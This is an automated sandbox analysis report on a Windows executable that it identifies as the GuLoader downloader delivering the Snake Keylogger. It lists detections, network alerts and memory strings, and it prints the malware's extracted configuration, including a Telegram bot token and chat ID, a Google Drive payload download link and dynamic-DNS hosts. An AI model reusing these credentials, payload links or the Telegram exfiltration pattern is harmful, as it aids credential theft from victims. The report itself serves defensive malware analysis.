Edit tour

Windows Analysis Report
rDatosbancarios.exe

Overview

General Information

Sample name:	rDatosbancarios.exe
Analysis ID:	1634944
MD5:	ad465ed89a2c85de228c1eca00ad3c21
SHA1:	693a1f701261b57a351587afaabcfd7e9e519db2
SHA256:	05e5731dc9129d9f1019a21fbbb672fa0a01a1bb8e89393e630b75ec38797928
Tags:	exeuser-Porcupine
Infos:

Detection

GuLoader, Snake Keylogger

Score:	100
Range:	0 - 100
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected GuLoader

Yara detected Snake Keylogger

Yara detected Telegram RAT

Joe Sandbox ML detected suspicious sample

Switches to a custom stack to bypass stack traces

Tries to detect the country of the analysis system (by using the IP)

Tries to detect virtualization through RDTSC time measurements

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses the Telegram API (likely for C&C communication)

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Contains functionality for read data from the clipboard

Contains functionality to dynamically determine API calls

Contains functionality to shutdown / reboot the system

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Drops PE files

Enables debug privileges

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

rDatosbancarios.exe (PID: 7696 cmdline: "C:\Users\user\Desktop\rDatosbancarios.exe" MD5: AD465ED89A2C85DE228C1ECA00AD3C21)

rDatosbancarios.exe (PID: 664 cmdline: "C:\Users\user\Desktop\rDatosbancarios.exe" MD5: AD465ED89A2C85DE228C1ECA00AD3C21)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
CloudEyE, GuLoader	CloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored.	No Attribution	http://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bluebottle-banks-targeted-africa https://0x00sec.org/t/analyzing-modern-malware-techniques-part-3/18943 https://any.run/cybersecurity-blog/deobfuscating-guloader/ https://asec.ahnlab.com/en/55978/ https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye

Name	Description	Attribution	Blogpost URLs	Link
404 Keylogger, Snake Keylogger	Snake Keylogger (aka 404 Keylogger) is a subscription-based keylogger that has many capabilities. The infostealer can steal a victims sensitive information, log keyboard strokes, take screenshots and extract information from the system clipboard. It was initially released on a Russian hacking forum in August 2019. It is notable for its relatively unusual methods of data exfiltration, including via email, FTP, SMTP, Pastebin or the messaging app Telegram.	No Attribution	https://any.run/cybersecurity-blog/analyzing-snake-keylogger/ https://any.run/cybersecurity-blog/reverse-engineering-snake-keylogger/ https://blog.netlab.360.com/purecrypter https://blog.nviso.eu/2022/04/06/analyzing-a-multilayer-maldoc-a-beginners-guide/ https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord	https://malpedia.caad.fkie.fraunhofer.de/details/win.404keylogger

Malware Configuration

Threatname: Snake Keylogger

{"Exfil Mode": "Telegram", "Token": "7869489618:AAHN5xZzcFLHOzYCX49Sa8fwJ0Zb2PusB48", "Chat_id": "7618581100", "Version": "4.4"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
0000000A.00000002.3065111248.0000000033C71000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
0000000A.00000002.3065111248.0000000033D59000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.2064115944.0000000004506000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
Process Memory Space: rDatosbancarios.exe PID: 664	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: rDatosbancarios.exe PID: 664	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-11T08:09:33.607468+0100	2803305	3	Unknown Traffic	192.168.2.4	49730	104.21.16.1	443	TCP
2025-03-11T08:09:36.594270+0100	2803305	3	Unknown Traffic	192.168.2.4	49731	104.21.16.1	443	TCP
2025-03-11T08:09:39.240530+0100	2803305	3	Unknown Traffic	192.168.2.4	49732	104.21.16.1	443	TCP
2025-03-11T08:09:42.283716+0100	2803305	3	Unknown Traffic	192.168.2.4	49733	104.21.16.1	443	TCP
2025-03-11T08:09:44.577022+0100	2803305	3	Unknown Traffic	192.168.2.4	49734	104.21.16.1	443	TCP
2025-03-11T08:09:46.828365+0100	2803305	3	Unknown Traffic	192.168.2.4	49735	104.21.16.1	443	TCP
2025-03-11T08:09:49.028540+0100	2803305	3	Unknown Traffic	192.168.2.4	49736	104.21.16.1	443	TCP
2025-03-11T08:09:52.061609+0100	2803305	3	Unknown Traffic	192.168.2.4	49737	104.21.16.1	443	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-11T08:09:28.502596+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49728	193.122.130.0	80	TCP
2025-03-11T08:09:31.346349+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49728	193.122.130.0	80	TCP
2025-03-11T08:09:33.752601+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49728	193.122.130.0	80	TCP
2025-03-11T08:09:36.752651+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49728	193.122.130.0	80	TCP
2025-03-11T08:09:39.424508+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49728	193.122.130.0	80	TCP
2025-03-11T08:09:42.440235+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49728	193.122.130.0	80	TCP
2025-03-11T08:09:44.752662+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49728	193.122.130.0	80	TCP
2025-03-11T08:09:46.987000+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49728	193.122.130.0	80	TCP
2025-03-11T08:09:49.190177+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49728	193.122.130.0	80	TCP

ETPRO MALWARE Common Downloader Header Pattern UHCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-11T08:09:21.656836+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	49726	142.250.185.142	443	TCP

Joe Security ANOMALY Telegram Send Message

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-11T08:09:55.021760+0100	1810007	1	Potentially Bad Traffic	192.168.2.4	49738	149.154.167.220	443	TCP

HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Tue, 11 Mar 2025 07:09:54 GMTContent-Type: application/jsonContent-Length: 55Connection: closeStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadAccess-Control-Allow-Origin: *Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection

Source: rDatosbancarios.exe, 0000000A.00000002.3065111248.0000000033C71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://aborters.duckdns.org:8081
Source: rDatosbancarios.exe, 0000000A.00000002.3065111248.0000000033C71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anotherarmy.dns.army:8081
Source: rDatosbancarios.exe, 0000000A.00000002.3065111248.0000000033E0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://api.telegram.org
Source: rDatosbancarios.exe, 0000000A.00000002.3065111248.0000000033DF4000.00000004.00000800.00020000.00000000.sdmp, rDatosbancarios.exe, 0000000A.00000002.3065111248.0000000033C71000.00000004.00000800.00020000.00000000.sdmp, rDatosbancarios.exe, 0000000A.00000002.3065111248.0000000033E00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org
Source: rDatosbancarios.exe, 0000000A.00000002.3065111248.0000000033C71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/
Source: rDatosbancarios.exe	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: rDatosbancarios.exe, 0000000A.00000002.3065111248.0000000033C71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: rDatosbancarios.exe, 0000000A.00000002.3065111248.0000000033C71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://varders.kozow.com:8081
Source: rDatosbancarios.exe, 0000000A.00000002.3066185499.0000000034F35000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org?q=
Source: rDatosbancarios.exe, 0000000A.00000002.3065111248.0000000033E0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram
Source: rDatosbancarios.exe, 0000000A.00000002.3065111248.0000000033D2F000.00000004.00000800.00020000.00000000.sdmp, rDatosbancarios.exe, 0000000A.00000002.3065111248.0000000033E0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
Source: rDatosbancarios.exe, 0000000A.00000002.3065111248.0000000033D2F000.00000004.00000800.00020000.00000000.sdmp, rDatosbancarios.exe, 0000000A.00000002.3065111248.0000000033E0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot
Source: rDatosbancarios.exe, 0000000A.00000002.3065111248.0000000033D2F000.00000004.00000800.00020000.00000000.sdmp, rDatosbancarios.exe, 0000000A.00000002.3065111248.0000000033E0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=
Source: rDatosbancarios.exe, 0000000A.00000002.3065111248.0000000033E0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:358075%0D%0ADate%20a
Source: rDatosbancarios.exe, 0000000A.00000003.2141319634.00000000037C3000.00000004.00000020.00020000.00000000.sdmp, rDatosbancarios.exe, 0000000A.00000003.2141274531.00000000037C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://apis.google.com
Source: rDatosbancarios.exe, 0000000A.00000002.3066185499.0000000034F35000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: rDatosbancarios.exe, 0000000A.00000002.3066185499.0000000034F35000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: rDatosbancarios.exe, 0000000A.00000002.3066185499.0000000034F35000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: rDatosbancarios.exe, 0000000A.00000002.3065111248.0000000033DBB000.00000004.00000800.00020000.00000000.sdmp, rDatosbancarios.exe, 0000000A.00000002.3065111248.0000000033D59000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=en
Source: rDatosbancarios.exe, 0000000A.00000002.3065111248.0000000033DBB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=en4
Source: rDatosbancarios.exe, 0000000A.00000002.3065111248.0000000033DB6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=enlB
Source: rDatosbancarios.exe, 0000000A.00000002.3043622105.0000000003748000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/
Source: rDatosbancarios.exe, 0000000A.00000002.3043622105.0000000003748000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/1F
Source: rDatosbancarios.exe, 0000000A.00000002.3043622105.0000000003782000.00000004.00000020.00020000.00000000.sdmp, rDatosbancarios.exe, 0000000A.00000002.3043887467.00000000052D0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1VDKRd-c17oS52zp028IfAVUC5WknOEF-
Source: rDatosbancarios.exe, 0000000A.00000002.3043622105.00000000037B8000.00000004.00000020.00020000.00000000.sdmp, rDatosbancarios.exe, 0000000A.00000003.2195719319.00000000037C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/
Source: rDatosbancarios.exe, 0000000A.00000002.3043622105.00000000037B8000.00000004.00000020.00020000.00000000.sdmp, rDatosbancarios.exe, 0000000A.00000003.2195719319.00000000037C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/0Xj
Source: rDatosbancarios.exe, 0000000A.00000003.2141319634.00000000037C3000.00000004.00000020.00020000.00000000.sdmp, rDatosbancarios.exe, 0000000A.00000002.3043622105.0000000003748000.00000004.00000020.00020000.00000000.sdmp, rDatosbancarios.exe, 0000000A.00000003.2141274531.00000000037C3000.00000004.00000020.00020000.00000000.sdmp, rDatosbancarios.exe, 0000000A.00000003.2195719319.00000000037C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1VDKRd-c17oS52zp028IfAVUC5WknOEF-&export=download
Source: rDatosbancarios.exe, 0000000A.00000003.2195719319.00000000037C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1VDKRd-c17oS52zp028IfAVUC5WknOEF-&export=download3
Source: rDatosbancarios.exe, 0000000A.00000002.3043622105.0000000003748000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1VDKRd-c17oS52zp028IfAVUC5WknOEF-&export=downloadbj
Source: rDatosbancarios.exe, 0000000A.00000003.2195719319.00000000037C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1VDKRd-c17oS52zp028IfAVUC5WknOEF-&export=downloadm
Source: rDatosbancarios.exe, 0000000A.00000002.3066185499.0000000034F35000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: rDatosbancarios.exe, 0000000A.00000002.3066185499.0000000034F35000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtabv20
Source: rDatosbancarios.exe, 0000000A.00000002.3066185499.0000000034F35000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: rDatosbancarios.exe, 0000000A.00000002.3066185499.0000000034F35000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gemini.google.com/app?q=
Source: rDatosbancarios.exe, 0000000A.00000002.3065111248.0000000033CBA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org
Source: rDatosbancarios.exe, 0000000A.00000002.3065111248.0000000033CBA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/
Source: rDatosbancarios.exe, 0000000A.00000002.3065111248.0000000033CBA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.189
Source: rDatosbancarios.exe, 0000000A.00000002.3065111248.0000000033CEA000.00000004.00000800.00020000.00000000.sdmp, rDatosbancarios.exe, 0000000A.00000002.3065111248.0000000033DF4000.00000004.00000800.00020000.00000000.sdmp, rDatosbancarios.exe, 0000000A.00000002.3065111248.0000000033E00000.00000004.00000800.00020000.00000000.sdmp, rDatosbancarios.exe, 0000000A.00000002.3065111248.0000000033D2F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.189$
Source: rDatosbancarios.exe, 0000000A.00000003.2141319634.00000000037C3000.00000004.00000020.00020000.00000000.sdmp, rDatosbancarios.exe, 0000000A.00000003.2141274531.00000000037C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com
Source: rDatosbancarios.exe, 0000000A.00000002.3066185499.0000000034F35000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/v20
Source: rDatosbancarios.exe, 0000000A.00000003.2141319634.00000000037C3000.00000004.00000020.00020000.00000000.sdmp, rDatosbancarios.exe, 0000000A.00000003.2141274531.00000000037C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com;report-uri
Source: rDatosbancarios.exe, 0000000A.00000003.2141319634.00000000037C3000.00000004.00000020.00020000.00000000.sdmp, rDatosbancarios.exe, 0000000A.00000003.2141274531.00000000037C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: rDatosbancarios.exe, 0000000A.00000002.3066185499.0000000034F35000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_alldp.ico
Source: rDatosbancarios.exe, 0000000A.00000003.2141319634.00000000037C3000.00000004.00000020.00020000.00000000.sdmp, rDatosbancarios.exe, 0000000A.00000003.2141274531.00000000037C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com
Source: rDatosbancarios.exe, 0000000A.00000003.2141319634.00000000037C3000.00000004.00000020.00020000.00000000.sdmp, rDatosbancarios.exe, 0000000A.00000003.2141274531.00000000037C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com
Source: rDatosbancarios.exe, 0000000A.00000002.3065111248.0000000033DEC000.00000004.00000800.00020000.00000000.sdmp, rDatosbancarios.exe, 0000000A.00000002.3065111248.0000000033D59000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/
Source: rDatosbancarios.exe, 0000000A.00000002.3065111248.0000000033DEC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/4
Source: rDatosbancarios.exe, 0000000A.00000002.3065111248.0000000033DE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/lB

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443

Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.4:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.161:443 -> 192.168.2.4:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49738 version: TLS 1.2

Source: C:\Users\user\Desktop\rDatosbancarios.exe

Code function: 0_2_0040541C GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_0040541C

Source: C:\Users\user\Desktop\rDatosbancarios.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 0_2_004033B6 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		0_2_004033B6
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 10_2_004033B6 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		10_2_004033B6

Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 0_2_00406846	0_2_00406846
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 0_2_00404C59	0_2_00404C59
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 10_2_00406846	10_2_00406846
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 10_2_00404C59	10_2_00404C59
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 10_2_03555370	10_2_03555370
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 10_2_0355D278	10_2_0355D278
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 10_2_0355C146	10_2_0355C146
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 10_2_0355A088	10_2_0355A088
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 10_2_0355C738	10_2_0355C738
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 10_2_0355C468	10_2_0355C468
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 10_2_0355CA08	10_2_0355CA08
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 10_2_0355E988	10_2_0355E988
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 10_2_035569A0	10_2_035569A0
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 10_2_03556FC8	10_2_03556FC8
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 10_2_0355CFAA	10_2_0355CFAA
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 10_2_03553E09	10_2_03553E09
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 10_2_0355CCD8	10_2_0355CCD8
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 10_2_03553AA1	10_2_03553AA1
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 10_2_0355E97A	10_2_0355E97A
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 10_2_0355F961	10_2_0355F961
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 10_2_035529EC	10_2_035529EC
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 10_2_35F85148	10_2_35F85148
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 10_2_35F81850	10_2_35F81850
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 10_2_35F89448	10_2_35F89448
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 10_2_35F81FA8	10_2_35F81FA8
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 10_2_35F80B30	10_2_35F80B30
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 10_2_35F82A90	10_2_35F82A90
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 10_2_35F8CDC0	10_2_35F8CDC0
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 10_2_35F8CDAF	10_2_35F8CDAF
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 10_2_35F89D38	10_2_35F89D38
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 10_2_35F8513E	10_2_35F8513E
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 10_2_35F8F930	10_2_35F8F930
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 10_2_35F8F921	10_2_35F8F921
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 10_2_35F8F4D8	10_2_35F8F4D8
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 10_2_35F8F4C8	10_2_35F8F4C8
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 10_2_35F88CC0	10_2_35F88CC0
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 10_2_35F88CB1	10_2_35F88CB1
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 10_2_35F8F080	10_2_35F8F080
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 10_2_35F8F071	10_2_35F8F071
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 10_2_35F80040	10_2_35F80040
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 10_2_35F81841	10_2_35F81841
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 10_2_35F8EC28	10_2_35F8EC28
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 10_2_35F8EC18	10_2_35F8EC18
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 10_2_35F8E7D0	10_2_35F8E7D0
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 10_2_35F8E7CF	10_2_35F8E7CF
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 10_2_35F81F98	10_2_35F81F98
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 10_2_35F8E378	10_2_35F8E378
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 10_2_35F8E369	10_2_35F8E369
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 10_2_35F8DF20	10_2_35F8DF20
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 10_2_35F80B20	10_2_35F80B20
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 10_2_35F8DF1F	10_2_35F8DF1F
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 10_2_35F8DAC8	10_2_35F8DAC8
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 10_2_35F8DAB9	10_2_35F8DAB9
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 10_2_35F8D670	10_2_35F8D670
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 10_2_35F89668	10_2_35F89668
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 10_2_35F8D660	10_2_35F8D660
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 10_2_35F8D218	10_2_35F8D218
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 10_2_3666A0E0	10_2_3666A0E0
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 10_2_36667B78	10_2_36667B78
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 10_2_36662300	10_2_36662300
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 10_2_366681D0	10_2_366681D0
Source: C:\Users\user\Desktop\rDatosbancarios.exe	Code function: 10_2_36668FB0	10_2_36668FB0
